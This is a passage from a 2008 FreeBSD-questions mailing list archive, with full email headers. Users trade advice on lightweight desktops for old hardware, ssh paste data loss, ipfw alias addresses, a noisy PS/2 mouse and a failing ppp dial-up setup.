+0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB1BsACG009684; Mon, 1 Dec 2008 12:54:10 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Mon, 1 Dec 2008 12:54:10 +0100 (CET) From: Wojciech Puchar To: Mel In-Reply-To: <200812011249.44457.fbsd.questions@rachie.is-a-geek.net> Message-ID: <20081201125344.M9628@wojtek.tensor.gdynia.pl> References: <002701c9538a$10ff0330$005bfb48@harryveltman> <200812011153.12902.fbsd.questions@rachie.is-a-geek.net> <20081201121925.X9499@wojtek.tensor.gdynia.pl> <200812011249.44457.fbsd.questions@rachie.is-a-geek.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: Harry Veltman , Polytropon , freebsd-questions@freebsd.org Subject: Re: Which FreeBSD is best for my PC? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 11:54:33 -0000 > since OP already stated to want flash 8 with highbit encryption, you will > need firefox and bunch of gstreamer-*/gnome stuff or linux emulation and a > lot of good fortune when going with pluginwrapper. but not KDE and Gnome desktop running. firefox is quite fast compared to it From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 12:09:34 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 871E81065672 for ; Mon, 1 Dec 2008 12:09:34 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id 558D78FC0C for ; Mon, 1 Dec 2008 12:09:34 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id DBF18AFC1C6; Mon, 1 Dec 2008 03:09:32 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org, Polytropon Date: Mon, 1 Dec 2008 13:09:28 +0100 User-Agent: KMail/1.9.7 References: <002701c9538a$10ff0330$005bfb48@harryveltman> <200812011153.12902.fbsd.questions@rachie.is-a-geek.net> <20081201121113.23e67986.freebsd@edvax.de> In-Reply-To: <20081201121113.23e67986.freebsd@edvax.de> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812011309.29942.fbsd.questions@rachie.is-a-geek.net> Cc: Subject: Re: Which FreeBSD is best for my PC? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 12:09:34 -0000 On Monday 01 December 2008 12:11:13 Polytropon wrote: > On Mon, 1 Dec 2008 11:53:11 +0100, Mel wrote: > > We have a few oldies, just installed KDE 3.5 on a: > > CPU: VIA Nehemiah (997.17-MHz 686-class CPU) > > Origin = "CentaurHauls" Id = 0x698 Stepping = 8 > > Oldie @ 1 GHz? You must be joking. I'd bite my hand off for > such hardware. :-) No need. Get a job at a computer service store, like my fiancee. You will get orphans donated in the 2-3Ghz range "just as long as my data is transfered to the new computer". ;) -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 09:33:18 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 88A491065670 for ; Mon, 1 Dec 2008 09:33:18 +0000 (UTC) (envelope-from libc.mail@gmail.com) Received: from yw-out-2122.google.com (yw-out-2122.google.com [74.125.46.24]) by mx1.freebsd.org (Postfix) with ESMTP id 4BA1E8FC18 for ; Mon, 1 Dec 2008 09:33:17 +0000 (UTC) (envelope-from libc.mail@gmail.com) Received: by yw-out-2122.google.com with SMTP id 7so1176280ywi.13 for ; Mon, 01 Dec 2008 01:33:17 -0800 (PST) MIME-Version: 1.0 Received: by 10.100.45.5 with SMTP id s5mr884904ans.10.1228123997279; Mon, 01 Dec 2008 01:33:17 -0800 (PST) Date: Mon, 1 Dec 2008 01:33:17 -0800 (PST) In-Reply-To: <200812010631.35147.fbsd.questions@rachie.is-a-geek.net> X-IP: 83.237.103.45 References: <200811301736.30079.fbsd.questions@rachie.is-a-geek.net> <8392DE41-4800-4CE9-A078-C1921FADDD9A@gmail.com> <200812010631.35147.fbsd.questions@rachie.is-a-geek.net> User-Agent: G2/1.0 X-HTTP-UserAgent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_5; ru-ru) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1, gzip(gfe), gzip(gfe) Message-ID: <7f73df71-b828-41b6-a27b-c7c6626e8950@g38g2000yqn.googlegroups.com> From: Eugene Pimenov To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=KOI8-R Content-Transfer-Encoding: quoted-printable X-Mailman-Approved-At: Mon, 01 Dec 2008 12:25:45 +0000 Subject: Re: Pasting via ssh causes data loss X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 09:33:18 -0000 On 1 =C4=C5=CB, 08:31, Mel wrote: > On Sunday 30 November 2008 17:53:21 Eugene Pimenov wrote: > > > 30.11.2008, =D7 19:36, Mel =CE=C1=D0=C9=D3=C1=CC(=C1): > > > On Sunday 30 November 2008 06:46:59 Eugene Pimenov wrote: > > > > Not sure, but can you copy files via cat? As in: > > > cat /tmp/foo | ssh machine "cat - >/tmp/foo" > > > > If that isn't truncated, I can only think of clipboard limitations > > > or tty > > > issues. > > > No, it's not truncated. All of 6060 bytes are copied. > > > What kind of tty issues/clipboard limitations might it be? > > *If* it's a tty issue, should be reproducable with telnet. If it's not, t= hen I > suggest logging in with ssh -v and see if anything weird comes up. > The oddball out of the box answer would be that some character gets trans= lated > as EOF from linux to bsd by the term settings, but it's a stretch. Can't check telnet... there's no telnet demon around. I tried ssh -vvv, nothing between connect and disconnect. It's definitely not an EOF. It just loses some part of data, doesn't stop receiving after some point. > > -- > Mel From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 12:28:13 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 240F01065677 for ; Mon, 1 Dec 2008 12:28:13 +0000 (UTC) (envelope-from mail@ozzmosis.com) Received: from smtp.mel.people.net.au (smtp.mel.people.net.au [218.214.17.98]) by mx1.freebsd.org (Postfix) with SMTP id 590658FC18 for ; Mon, 1 Dec 2008 12:28:11 +0000 (UTC) (envelope-from mail@ozzmosis.com) Received: (qmail 1861 invoked from network); 1 Dec 2008 12:28:08 -0000 Received: from unknown (HELO blizzard.dnsalias.org) (218.215.157.115) by smtp.mel.people.net.au with SMTP; 1 Dec 2008 12:28:08 -0000 Received: by blizzard.dnsalias.org (Postfix, from userid 1001) id C2C67176E4; Mon, 1 Dec 2008 23:28:09 +1100 (EST) Date: Mon, 1 Dec 2008 23:28:09 +1100 From: andrew clarke To: Viktor ??tujber Message-ID: <20081201122809.GA92388@ozzmosis.com> References: <890fa77e0812010051p2ab5c7cbv6e960124d699967b@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <890fa77e0812010051p2ab5c7cbv6e960124d699967b@mail.gmail.com> User-Agent: Mutt/1.5.18 (2008-05-17) Cc: freebsd-questions@freebsd.org Subject: Re: documentation problem for times(3) man page X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 12:28:13 -0000 On Mon 2008-12-01 09:51:46 UTC+0100, Viktor ??tujber (theultramage@gmail.com) wrote: > Hi. Half a year ago I started the following thread: > http://lists.freebsd.org/pipermail/freebsd-questions/2008-April/172448.html. > The subject was a documentation issue where a man page mismatched the > actual system behavior. Maybe the freebsd-doc mailing list is the place to discuss this? freebsd-doc@FreeBSD.org. From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 12:44:42 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8F211106564A for ; Mon, 1 Dec 2008 12:44:42 +0000 (UTC) (envelope-from mister.olli@googlemail.com) Received: from ey-out-2122.google.com (ey-out-2122.google.com [74.125.78.27]) by mx1.freebsd.org (Postfix) with ESMTP id 197118FC13 for ; Mon, 1 Dec 2008 12:44:41 +0000 (UTC) (envelope-from mister.olli@googlemail.com) Received: by ey-out-2122.google.com with SMTP id 6so999330eyi.7 for ; Mon, 01 Dec 2008 04:44:40 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=googlemail.com; s=gamma; h=domainkey-signature:received:received:subject:from:reply-to:to :in-reply-to:references:content-type:date:message-id:mime-version :x-mailer:content-transfer-encoding; bh=eq7Wr5aSSOWHVyy3Hmz+2hrOoyIASQVcTKGDG33FYVg=; b=Y2aDKhL+WldZIRTYsvNR9b/hQY6gBd3yX4YOT2l7kThF7Try4tSQmsGFxLXE9jJV6d 4bylBQ6VI3jI6o1OaG7vwfyAbOBR+caXcHWMOqkCMDFht9LO+mdvYR+sn3s3aHlQcsVw 8FzxNCCdJ6ZtTQoRY2Q98CAcz4tCeBMJX/uac= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=subject:from:reply-to:to:in-reply-to:references:content-type:date :message-id:mime-version:x-mailer:content-transfer-encoding; b=AcENwsMYVmwXIqNiX2VwQtY4tNj3L+UvEwdBgH2fUyn7PPwPXmsNPa2dBh+/BP2ENZ 9+3LClVeaxi+jfgRgXrX9CAur/uhro0i9rcyeXQYx09D7SgnKs8mqgtsf7S51lzry5TE AABS/3g/Neld/gTeiRSQWN3z3dgswz7/TxqXk= Received: by 10.86.94.11 with SMTP id r11mr6252793fgb.53.1228133960590; Mon, 01 Dec 2008 04:19:20 -0800 (PST) Received: from ?192.168.220.141? (BAAef5a.baa.pppool.de [77.128.239.90]) by mx.google.com with ESMTPS id 3sm395358fge.1.2008.12.01.04.19.18 (version=SSLv3 cipher=RC4-MD5); Mon, 01 Dec 2008 04:19:19 -0800 (PST) From: Mister Olli To: freebsd-questions@freebsd.org In-Reply-To: <002701c9538a$10ff0330$005bfb48@harryveltman> References: <002701c9538a$10ff0330$005bfb48@harryveltman> Content-Type: text/plain Date: Mon, 01 Dec 2008 12:19:00 +0000 Message-Id: <1228133940.4102.42.camel@phoenix.blechhirn.net> Mime-Version: 1.0 X-Mailer: Evolution 2.12.3 Content-Transfer-Encoding: 7bit Subject: Re: Which FreeBSD is best for my PC? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: mister.olli@googlemail.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 12:44:42 -0000 hi... > Which version and GUI will work best on the internet with my AT > Pentium II 350MHz x86-based PC? Some web sites require Flash Player 8 > or higher, and some require 128-bit encryption I think, but doesn't > 40-bit encryption process data 3 times faster? How many bit > encryption is the various versions of FreeBSD? Thanks. Can't tell you about the freebsd version, but my personal favour for a slim and really fast GUI is enlightenment... from my knowledge it's designed and tested for machines of this power (I read a note by one of the main developer that he's testing it on a 150MHz to see if it performs). it's a little playtime to setup it up, since you can configure almost everything. but it's really neet, has some nice eye-candy and is fast too... my absolute favorite and it boosted my productivity (after 2 weeks of configuring&customizing) to a level no other GUI in this world can give me... but just my 2 cents ;-)) greetz olli From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 12:51:42 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id DBD941065672 for ; Mon, 1 Dec 2008 12:51:42 +0000 (UTC) (envelope-from smithi@nimnet.asn.au) Received: from sola.nimnet.asn.au (paqi.nimnet.asn.au [220.233.188.227]) by mx1.freebsd.org (Postfix) with ESMTP id 5968E8FC16 for ; Mon, 1 Dec 2008 12:51:41 +0000 (UTC) (envelope-from smithi@nimnet.asn.au) Received: from localhost (localhost [127.0.0.1]) by sola.nimnet.asn.au (8.14.2/8.14.2) with ESMTP id mB1Cpexl070958; Mon, 1 Dec 2008 23:51:40 +1100 (EST) (envelope-from smithi@nimnet.asn.au) Date: Mon, 1 Dec 2008 23:51:40 +1100 (EST) From: Ian Smith To: Brett Davidson In-Reply-To: <20081201120023.9E1821065688@hub.freebsd.org> Message-ID: <20081201233222.L34249@sola.nimnet.asn.au> References: <20081201120023.9E1821065688@hub.freebsd.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Cc: freebsd-questions@freebsd.org Subject: Re: Is there anything weird I should know about using ipfw on alias addresses? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 12:51:42 -0000 On Mon, 01 Dec 2008 16:52:12 +1300 Brett Davidson wrote: > ifconfig shows the alias addresses correctly bound. > Creating an ipfw rule and testing it from the command line works > (connects out from master address, not alias) > > From website on alias address, the firewall blocks the packets. > > The weird thing is that it tags them (in the security log) as coming > from the master address (not the alias) out the correct interface. In a > normal world that would mean the packet would match!!!!! > > What's goin' on here Willis? Difficult to tell without seeing a) ifconfig b) netstat -rn c) at least the relevant firewall rule/s and d) log entries that illustrate your problem. Obscure sensitive information by all means, but otherwise pretend we haven't the slightest clue how your system is configured :) cheers, Ian From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 12:52:31 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3FB9E1065672 for ; Mon, 1 Dec 2008 12:52:31 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id 082C88FC17 for ; Mon, 1 Dec 2008 12:52:30 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id 0DBE6AFC1C6; Mon, 1 Dec 2008 03:52:30 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org Date: Mon, 1 Dec 2008 13:52:26 +0100 User-Agent: KMail/1.9.7 References: <200812010631.35147.fbsd.questions@rachie.is-a-geek.net> <7f73df71-b828-41b6-a27b-c7c6626e8950@g38g2000yqn.googlegroups.com> In-Reply-To: <7f73df71-b828-41b6-a27b-c7c6626e8950@g38g2000yqn.googlegroups.com> MIME-Version: 1.0 Content-Type: text/plain; charset="koi8-r" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Message-Id: <200812011352.27349.fbsd.questions@rachie.is-a-geek.net> Cc: Eugene Pimenov Subject: Re: Pasting via ssh causes data loss X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 12:52:31 -0000 On Monday 01 December 2008 10:33:17 Eugene Pimenov wrote: > On 1 =C4=C5=CB, 08:31, Mel wrote: > > On Sunday 30 November 2008 17:53:21 Eugene Pimenov wrote: > > > 30.11.2008, =D7 19:36, Mel =CE=C1=D0=C9=D3=C1=CC(=C1): > > > > On Sunday 30 November 2008 06:46:59 Eugene Pimenov wrote: > > > > > > > > Not sure, but can you copy files via cat? As in: > > > > cat /tmp/foo | ssh machine "cat - >/tmp/foo" > > > > > > > > If that isn't truncated, I can only think of clipboard limitations > > > > or tty > > > > issues. > > > > > > No, it's not truncated. All of 6060 bytes are copied. > > > > > > What kind of tty issues/clipboard limitations might it be? > > > > *If* it's a tty issue, should be reproducable with telnet. If it's not, > > then I suggest logging in with ssh -v and see if anything weird comes u= p. > > The oddball out of the box answer would be that some character gets > > translated as EOF from linux to bsd by the term settings, but it's a > > stretch. > > Can't check telnet... there's no telnet demon around. inetd: $ grep telnet /etc/inetd.conf #telnet stream tcp nowait root /usr/libexec/telnetd telnetd #telnet stream tcp6 nowait root /usr/libexec/telnetd telnetd Quick setup: remove appropreate hashmark above /etc/rc.d/inetd onestart > I tried ssh -vvv, nothing between connect and disconnect. > > It's definitely not an EOF. It just loses some part of data, doesn't > stop receiving after some point. Where does it get lost? Meaning, does it get over the wire? Hard to check=20 encrypted, but a 3k diff should show up in number of the IP packets sent. I= s=20 it possible to compare tcpdump linux <-> linux vs linux <-> freebsd on the= =20 receiving end? =2D-=20 Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 12:55:01 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id A0FB910656A6 for ; Mon, 1 Dec 2008 12:55:01 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 2A0B48FC1D for ; Mon, 1 Dec 2008 12:54:57 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB1CskCO009874; Mon, 1 Dec 2008 13:54:46 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB1CsjdM009871; Mon, 1 Dec 2008 13:54:46 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Mon, 1 Dec 2008 13:54:45 +0100 (CET) From: Wojciech Puchar To: Mister Olli In-Reply-To: <1228133940.4102.42.camel@phoenix.blechhirn.net> Message-ID: <20081201135437.C9869@wojtek.tensor.gdynia.pl> References: <002701c9538a$10ff0330$005bfb48@harryveltman> <1228133940.4102.42.camel@phoenix.blechhirn.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-questions@freebsd.org Subject: Re: Which FreeBSD is best for my PC? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 12:55:01 -0000 > too... my absolute favorite and it boosted my productivity (after 2 > weeks of configuring&customizing) to a level no other GUI in this world no other you tried. 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X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 12:57:01 -0000 --Sig_/c1G_UvP82MG4ht8WoR/K4cF Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable On Mon, 1 Dec 2008 14:31:04 +0800 vishnux@toray.com.my wrote: >I will be out of the office starting 12/01/2008 and will not return >until 12/12/2008. > >Please contact helpdesk directly for urgent matters at 043854184. Cool, I think I will contact them and inform them that your OoO responder is incorrectly configured. --=20 Jerry gesbbb@yahoo.com In America, any boy may become president and I suppose that's just one of the risks he takes. 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(itsf207.itsnpt.com [64.119.85.207]) by mx.google.com with ESMTPS id q26sm8914581ele.5.2008.12.01.05.41.11 (version=TLSv1/SSLv3 cipher=RC4-MD5); Mon, 01 Dec 2008 05:41:22 -0800 (PST) Message-ID: <4933E969.80804@gmail.com> Date: Mon, 01 Dec 2008 08:40:57 -0500 From: Bryant Eadon User-Agent: Thunderbird 2.0.0.18 (Windows/20081105) MIME-Version: 1.0 To: Wojciech Puchar References: <20081129183517.D11614@wojtek.tensor.gdynia.pl> In-Reply-To: <20081129183517.D11614@wojtek.tensor.gdynia.pl> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Cc: FreeBSD Questions , Roey Dror Subject: Re: Noisy mouse X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: bryant.eadon@gmail.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 13:41:30 -0000 Wojciech Puchar wrote: >> or make a keystroke. Is this a bug, or a strange feature? How do i > > bad hardware design - mouse data signals gets through to audio signal. > > most of your computer's signal line are in megahertz range so you don't > hear anything, PS/2 mouse has 40kbps data rate. I've actually had this happen before. Somewhere along the line either : 1. your audio and mouse/keyboard cables are coming into close proximity to one another. or 2. Your mouse/kb cable is very close to a specific speaker. The solution is to move your mouse cable away from your speakers/cables. I guess you could shield it if you can't move it. Tinfoil around only the one cable at close proximity sections should do the trick. -B From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 14:00:30 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id CEF0A1065677 for ; Mon, 1 Dec 2008 14:00:30 +0000 (UTC) (envelope-from smithi@nimnet.asn.au) Received: from sola.nimnet.asn.au (paqi.nimnet.asn.au [220.233.188.227]) by mx1.freebsd.org (Postfix) with ESMTP id 88A498FC24 for ; Mon, 1 Dec 2008 14:00:29 +0000 (UTC) (envelope-from smithi@nimnet.asn.au) Received: from localhost (localhost [127.0.0.1]) by sola.nimnet.asn.au (8.14.2/8.14.2) with ESMTP id mB1E0Aao073148; Tue, 2 Dec 2008 01:00:10 +1100 (EST) (envelope-from smithi@nimnet.asn.au) Date: Tue, 2 Dec 2008 01:00:10 +1100 (EST) From: Ian Smith To: Pongthep Kulkrisada In-Reply-To: <20081130142757.GA926@gmail.com> Message-ID: <20081201235157.J34249@sola.nimnet.asn.au> References: <20081123120013.8EDF310657E3@hub.freebsd.org> <20081124012858.J43853@sola.nimnet.asn.au> <20081128163044.GA1850@gmail.com> <20081129222143.R34249@sola.nimnet.asn.au> <20081130142757.GA926@gmail.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Cc: Andrew , freebsd-questions@freebsd.org, Fbsd1 , Manolis Kiagias Subject: Re: Problem about ppp -nat X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 14:00:30 -0000 On Sun, 30 Nov 2008, Pongthep Kulkrisada wrote: > Hi all, > > > set log phase chat connect carrier link ipcp ccp ID0 TUN command > I still can't dial using this configuration... Yes sorry, that was from a really old system, from backups. > # ppp -background isp > Loading /lib/libalias_cuseeme.so > Loading /lib/libalias_ftp.so > Loading /lib/libalias_irc.so > Loading /lib/libalias_nbt.so > Loading /lib/libalias_pptp.so > Loading /lib/libalias_skinny.so > Loading /lib/libalias_smedia.so I'm surprised ppp would load these unless -nat was specified somewhere? My newest system that used ppp is 5.5-STABLE, up till last August, but I'm not up with it on 6 or 7, still this does look rather odd to me. Perhaps someone else could confirm whether ppp always loads these libalias modules, whether intending to use them or not? > Working in background mode > Using interface: tun0 > Warning: carrier: Invalid log value > Warning: link: Invalid log value > Warning: usage: set log [local] [+|-]all|async|cbcp|ccp|chat|command|connect|debug|dns|hdlc|id0|ipcp|lcp|lqm|phase|physical|radius|sync|tcp/ip|timer|tun... > Attempting redial > Attempting redial > Attempting redial > > I then removed ``carrier'' and ``link''. It always keeps redialing without > hearing dialing tone from the modem. So I removed ``connect'' again. The result was still the same. Sorry again. On 5.5 I just used 'log Phase LCP IPCP CCP tun command' once everything was running smoothly, using several different modems. > > Try /dev/cuaa0. At least in the olden days, cuad0 was configured more > > for dialin rather than dialout. This may? explain the next two lines: > It keeps redialing without hearing any tone from the modem. So I > switched back to /dev/cuad0. Then dial; now I hear dialing tone from > the modem but warning message of ``Child failed (errdead)'' occured > then line dropped. And can not connect. I tried it many times. Note > that /dev/cuad0 appeared in my > /usr/share/examples/ppp/ppp.conf.sample, not /dev/cuaa0. If I > remember correctly I changed from cuaa0 to cuad0 when I upgraded from > FBSD5.4R to FBSD6.2R. Ok. I hadn't realised that ppp had changed so much. Wish someone who knows a bit more about the current situation would comment .. > [...] > Working in background mode > Using interface: tun0 > Child failed (errdead) > > >> set ctsrts off # enables software flow control > >> set accmap 000a0000 # comments out these 2 lines for hardware flow control > > Not sure why you don't want to use hardware flow control? Is this with > > a regular external modem? Anyway, I've always used ctsrts (with cuaa0). > 5 year ago, I downloaded this ppp.conf from some web site. But > anyway, I did follow your suggestion i.e. hardware flow control. It > still doesn't work as ``Child failed''. Actually I don't know so much > in this area (flow control). I only code C on *Unix. I rarely do this > kind of things e.g. system setup or configuration. And yes, it is a > regular external modem. I spent about 15 years debugging user problems with dialup modems; it can be really difficult without first knowing the modem type and it's internal config - however that doesn't seem to be your problem here. > >> add! default HISADDR # Add a (sticky) default route > >> [...] > >> add 0 0 HISADDR > > You probably don't want both those add statements. Try taking out the > > first one, and replacing the last one with the add! default HISADDR. > I changed it before dialing. > > > Unsure if you need an 'enable pap' as well, maybe default. Can't hurt. > I added it before dialing. But all failed. I think it is probably caused by > ipdivert. Well as mentioned above, if ppp is loading libalias modules also, there definitely could be some conflict there .. but I'm now out of my depth. > > Anyway, some extra logging should show you when and how it fails, if it > > still does .. > Nov 30 17:00:00 bsdhost newsyslog[960]: logfile turned over due to size>100K > Nov 30 17:00:16 bsdhost ppp[977]: Phase: Using interface: tun0 > Nov 30 17:00:16 bsdhost ppp[977]: Phase: deflink: Created in closed state > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: default: ident user-ppp VERSION (built COMPILATIONDATE) > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: default: set device /dev/cuad0 > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: default: set speed 115200 > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: default: disable pred1 > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: default: deny pred1 > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: default: disable lqr > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: default: deny lqr > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: default: set dial ABORT BUSY ABORT NO\sCARRIER TIMEOUT 5 "" AT OK-AT-OK ATE1Q0 OK \dATDT\T TIMEOUT 180 CONNECT > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: default: set redial 3 20 > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: default: enable dns > Nov 30 17:00:16 bsdhost ppp[977]: tun0: ID0: 0x28389e78 = fopen("/etc/ppp/ppp.conf", "r") > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: ego: set phone 0123456789 > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: ego: set authname myname@myisp.com > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: ego: set authkey ********** > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: ego: set timeout 0 > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: ego: set openmode active > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: ego: accept pap > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: ego: enable pap > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: ego: set ifaddr 10.0.0.1/0 10.0.0.2/0 255.255.255.0 0.0.0.0 > Nov 30 17:00:16 bsdhost ppp[977]: tun0: Command: ego: add! default HISADDR > Nov 30 17:00:16 bsdhost ppp[977]: tun0: ID0: 10 = socket(17, 3, 0) > Nov 30 17:00:16 bsdhost ppp[977]: tun0: ID0: -1 = write(10, data, 140) > Nov 30 17:00:16 bsdhost ppp[978]: tun0: ID0: 0x28389e78 = fopen("/var/run/tun0.pid", "w") > Nov 30 17:00:16 bsdhost ppp[978]: tun0: Phase: PPP Started (background mode). > Nov 30 17:00:16 bsdhost ppp[978]: tun0: Phase: bundle: Establish > Nov 30 17:00:16 bsdhost ppp[978]: tun0: Phase: deflink: closed -> opening > Nov 30 17:00:16 bsdhost ppp[978]: tun0: ID0: 0 = uu_lock("cuad0") > Nov 30 17:00:16 bsdhost ppp[978]: tun0: ID0: 0 = 